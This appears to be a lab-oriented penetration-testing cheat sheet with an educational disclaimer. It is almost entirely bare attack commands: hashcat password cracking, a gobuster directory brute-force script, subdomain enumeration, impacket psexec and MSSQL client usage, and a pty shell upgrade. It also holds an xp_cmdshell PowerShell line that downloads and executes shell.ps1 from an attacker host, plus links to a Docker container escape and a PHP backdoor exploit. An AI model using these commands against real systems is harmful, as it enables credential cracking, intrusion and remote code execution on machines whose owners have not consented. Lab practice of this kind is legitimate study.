All code, tutorials, articles, etc provided in this repo are for informational and educational purpose only.

hashcat

hashcat.exe -a 0 -m 3200 admin_h wordlist.txt -r best64.rule -o out.txt -w 1 -O

Gobuster script

#!/bin/bash set -eu

URL=$1

echo "super go bustering for super brute: $URL"

gobuster -u $URL -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/tomcat.txt gobuster -u $URL -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/nginx.txt gobuster -u $URL -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/apache.txt gobuster -u $URL -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt gobuster -u $URL -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/ApacheTomcat.fuzz.txt gobuster -u $URL -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/sharepoint.txt gobuster -u $URL -s 200,204,301,302,307,403 -w /root/tools/SecLists/Discovery/Web_Content/iis.txt gobuster -u $URL -s 200,204,301,302,307,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt gobuster -u $URL -s 200,204,301,302,307,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x txt gobuster -u $URL -s 200,204,301,302,307,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php gobuster -u $URL -s 200,204,301,302,307,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x doc gobuster -u $URL -s 200,204,301,302,307,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x docx

Sub domain enumeartion

https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt gobuster vhost -w subdomains-top1million-5000.txt -u host.htb -t 50

Psexec on kali

https://github.com/SecureAuthCorp/impacket psexec.py {USER}@{TARGET}

MSSQL

python3 examples/mssqlclient.py -p 1433 /@ -windows-auth

Powershell download/run files

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.3/shell.ps1\");"

Python better shell

python -c 'import pty; pty.spawn("/bin/bash")'

docker

https://betterprogramming.pub/escaping-docker-privileged-containers-a7ae7d17f5a1

PHP 8.1.0-dev

https://packetstormsecurity.com/files/download/162749/php_8.1.0-dev.py.txt